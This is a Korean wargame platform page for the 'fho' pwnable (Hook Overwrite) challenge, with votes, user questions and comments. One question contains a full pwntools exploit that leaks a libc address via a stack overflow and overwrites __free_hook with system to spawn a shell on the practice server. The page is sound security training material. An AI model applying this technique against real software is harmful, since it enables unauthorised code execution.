학습
워게임
CTF
커뮤니티
랭킹
스토어
커리어
Beta
로그인
|
기업 서비스
Home
학습
워게임
CTF
커뮤니티
랭킹
기업 서비스로 이동하기 >
LEVEL 2
fho
pwnable
2159
1126
로그인 하고 문제 풀기
문제 정보
풀이
53
난이도 투표
51
질문
23
최근 풀이자
1126
댓글
29
문제 설명
Description
Exploit Tech: Hook Overwrite에서 실습하는 문제입니다.
Challenge Updates
2023.04.27: Dockerfile이 제공됩니다.
Translate
출제자 정보
Dreamhack
대표 업적 없음
2021.12.08. 16:23:36
First Blood!
Sechack
2024 Invitational Contenders
출제된 지
4시간
만에 풀이 완료!
난이도 투표
51
문제 풀이를 완료한 후에 피드백을 제출할 수 있습니다.
투표 결과
전체 투표 로그
1 / 11
juntae
대표 업적 없음
LEVEL 2에 투표했습니다.
3일 전
GDOCCHI
강의 수강: 1
LEVEL 2에 투표했습니다.
2개월 전
Finder
.HACK 2024 참가자
LEVEL 2에 투표했습니다.
6개월 전
5감자
대표 업적 없음
LEVEL 2에 투표했습니다.
6개월 전
개맛있는구구콘
대표 업적 없음
LEVEL 2에 투표했습니다.
6개월 전
질문
21
문제 풀이에 어려움이 있으신가요?
커뮤니티에서 문제에 대한 질문하고 답변 얻기
libc 버전 문제
libc 버전이 바뀌었을 때 다시 확인해야 하는 값들이 몇몇 있던데, 디버깅 하게되면 사용자 컴퓨터의 libc 기준으로 하는거 같아서 해결법이 있는지 궁금합니다 ㅠㅠ
pigeon622
답변
1
추천
4
2년 전
libc 제공 여부
libc의 버전또한 알아내는 것이 문제의 의도인지 궁금합니다 :) 또는 libc 정보 없이도 해결이 가능한가요?
사용자
답변
2
추천
2
3년 전
계속 쉘이 끊기는 거 같습니다.
아래는 작성 한 익스플로잇 코드와 실행 결과입니다. 코드는 잘 작성한 거 같은데 이상하게도 실행만 하면 도중에 쉘이 끊기네요..... 어떤 부분이 문제일까요.....? 1 #!/usr/bin/python3 2 3 from pwn import * 4 5 p = remote("host3.dreamhack.games", 11357) 6 e = ELF("./fho") 7 lib = ELF("./libc-2.27.so") 8 9 payload = b"A"*0x48 10 p.sendafter("Buf: ", payload) 11 p.recvuntil(payload) 12 libc_start_main = u64(p.recvn(6) + b"\x00" * 2) 13 14 libc_base = libc_start_main - (lib.symbols["__libc_start_main"] - 243) 15 system = libc_base + lib.symbols["system"] 16 free_hook = libc_base + lib.symbols["__free_hook"] 17 binsh = libc_base + next(lib.search(b"/bin/sh")) 18 19 print(hex(libc_base)) 20 print(hex(system)) 21 print(hex(free_hook)) 22 print(hex(binsh)) 23 24 p.sendlineafter("To write: ", str(free_hook)) 25 p.sendlineafter("With: ", str(system)) 26 p.sendlineafter("To free: ", str(binsh)) 27 28 p.interactive()
탈퇴한 이용자
답변
4
추천
1
2년 전
서버 동작이 이상합니다.
$ nc host3.dreamhack.games 15557 [1] Stack buffer overflow Buf: 11 Buf: 11 [2] Arbitary-Address-Write To write: 22 With: 33 [0x16] = 33 44 55 66 $ 서버 동작이 이상합니다. 테스트를 해보면 문제와 다르게 아래 코드가 동작 안 합니다. puts("[3] Arbitrary-Address-Free"); printf("To free: "); scanf("%llu", &addr); free(addr); 확인 요청 드립니다.
노루놀우
답변
1
추천
0
1개월 전
로컬이랑 서버랑 버전이 다를 경우에는 보통 어떻게 문제를 푸나요
도커 파일도 없는 상황에서는 찍는 방법밖에 없나요? 풀기는 했는데 로컬에서 실험하다 고생을 좀 해서...
M200is
답변
1
추천
0
2년 전
libc.symbols['__libc_start_main'] + 231
libc.symbols['__libc_start_main'] + 231 이 부분이 이해가 되지 않습니다. fho 실행 파일 gdb에서 스택 찍어보면 ret에 찍혀 있는 주소값이 있고 해당 주소값을 확인해보면 __libc_start_main + 205라고 되어있는데요 왜 231이 답이되는걸까요?
이무쿤
답변
3
추천
0
2년 전
libc_start_main+231 인 이유
gdb에서 확인해 보면 libc_start_main+231 로 보이는것은 알겠습니다. 어느 시스템이나 모두 231은 동일한 것인가요?
anous
답변
2
추천
0
2년 전
도커파일은 어떤 용도로 쓰는 건가요
지금은 문제에서 libc 파일이 주어져 이를 통해 버전을 알아낼 수 있었고 도커를 굳이 쓸 필요 없었는데, 도커 파일은 이런 파일을 주지 않는 경우에 쓰는 건가요?
지후니ab1
답변
1
추천
0
4개월 전
카나리 관련해서 궁금해서 남깁니다.
여기 문제에서 libc_main 주소 얻으려고 ret주소까지 buf를 채우잖아요. 근데 카나리가 있는데 ret까지 buf까지 채우면 강제종료 돼야 하는거 아닌가요?
p6rkdoye0n
답변
2
추천
0
1년 전
문제파일에 주어진 라이브러리
문제파일에 주어진 라이브러리는 서버 환경에서 사용하는 라이브러리 아닌가요? 질문들보면 서버랑 로컬 라이브러리 다르다고 고군분투 하시는 분들 많은 것 같은데, 주어진 라이브러리 파일이 서버에서 사용하는게 아닌가해서...! 궁금해서 여쭤봅니다!!! 만약 그게 아니면 라이브러리 파일은 왜 주는 건가요? 그리고 문제파일에서 주는 실행파일은 서버기준으로 컴파일한 파일 아닌가요? 그런데도 로컬환경이랑 다른걸 신경써야되는 이유를 모르겠습니다 제가 잘못 알고 있는게 있는 것 같은데 알려주시면 감사드리겠습니다 ㅜㅜ
Rosieblue
답변
1
추천
0
1년 전
«
‹
1
2
3
›
»
최근 풀이자
1126
뭐야
대표 업적 없음
19시간 전
Cyese
대표 업적 없음
2일 전
thePhiUng
대표 업적 없음
2일 전
gudcjs12
대표 업적 없음
3일 전
juntae
대표 업적 없음
3일 전
Seiro
대표 업적 없음
4일 전
Dusker
대표 업적 없음
4일 전
soybean
대표 업적 없음
7일 전
wyohanw
대표 업적 없음
7일 전
reaunper
대표 업적 없음
7일 전
«
‹
1
2
3
4
5
›
»
댓글
29
스카이넷
워게임 고인물
7개월 전
ez
Translate
catpwn
대표 업적 없음
1년 전
라이브러리 버전...............
Translate
KnightChaser
공부벌레
1년 전
Bidirectional methods to solve this intrigue me more
Translate
Sunja
강의 수강: 10
2년 전
main 함수의 실현과정?을 정확히 알 수 있어서 좋았습니다./
Translate
skandia
대표 업적 없음
2년 전
어우 로컬이랑 환경 달라서 삽질 엄청했네
Translate
Ox0ne
대표 업적 없음
2년 전
개념은 쉬운데 워게임을 풀려하면 매번 어렵
Translate
kioreo
CTF Second Place
2년 전
gg
Translate
msh1307
대표 업적 없음
2년 전
ret가 로컬환경이랑 약간 달라서 찍어맞췄네 ;;
Translate
For_Freedom
워게임 고인물
2년 전
gg
Translate
Rasser
워게임: 20
2년 전
ez
Translate
«
‹
1
2
3
›
»
댓글 29